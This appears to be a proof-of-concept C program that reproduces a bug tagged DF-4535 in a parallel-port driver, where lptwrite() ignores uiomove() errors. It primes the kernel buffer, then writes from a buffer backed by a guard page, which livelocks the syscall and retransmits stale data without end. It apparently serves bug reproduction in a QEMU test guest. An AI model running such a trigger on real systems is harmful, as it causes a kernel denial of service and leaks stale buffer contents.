DF-4535 / lpt_uioleak.c
/* * DF-4535 -- lpt.c lptwrite() ignores the uiomove() return value. * * Phase 1: a normal 4096-byte write of 'A' fills the driver's 1024-byte * kernel buffer sc_inbuf with 'A'. * Phase 2: write() from a 2-page mapping whose second page is PROT_NONE. * uiomove() copies the first 4096 bytes chunk-by-chunk, then * faults forever on the guard page. lptwrite() (lpt.c:761-764) * ignores the EFAULT, sets sc_xfercnt = 1024 anyway, and the * driver transmits the *stale* contents of sc_inbuf -- i.e. the * 'A' bytes from the previous write -- over and over, forever, * while the write() syscall never returns (kernel livelock). * * Expected evidence (on the host-side capture file behind QEMU's parallel * port): 'A'x4096 'B'x4096 then 'A'x1024 repeated without bound while * the process sits in the write() syscall; the byte stream keeps growing * after all valid user bytes were exhausted. * * DF-4535 trigger. Run as root on the guest: ./lpt_uioleak <seconds> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <time.h> #include <signal.h> #include <sys/mman.h> int main(int argc, char **argv) { int fd, i; char a[4096]; char *p; time_t t0, t1; int dwell = (argc > 1) ? atoi(argv[1]) : 10; fd = open("/dev/lpt0", O_WRONLY); if (fd < 0) { perror("open /dev/lpt0"); return 2; } printf("[*] opened /dev/lpt0 (irq mode)\n"); /* phase 1: prime sc_inbuf with 'A' */ memset(a, 'A', sizeof(a)); if (write(fd, a, sizeof(a)) != sizeof(a)) { perror("phase1 write"); return 3; } printf("[*] phase1: wrote 4096 'A' bytes (kernel buffer now 'A')\n"); /* phase 2: 8192-byte write whose tail is unmapped */ p = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (p == MAP_FAILED) { perror("mmap"); return 4; } if (mprotect(p + 4096, 4096, PROT_NONE) != 0) { perror("mprotect"); return 5; } memset(p, 'B', 4096); printf("[*] phase2: write(fd, 8192) with PROT_NONE guard page at 4096\n"); printf("[*] expecting syscall to NEVER return; will be killed after %ds\n", dwell); fflush(stdout); t0 = time(NULL); ssize_t r = write(fd, p, 8192); /* never returns */ t1 = time(NULL); printf("[!] UNEXPECTED: write returned %zd errno=%d after %llds\n", r, errno, (long long)(t1 - t0)); return 6; } |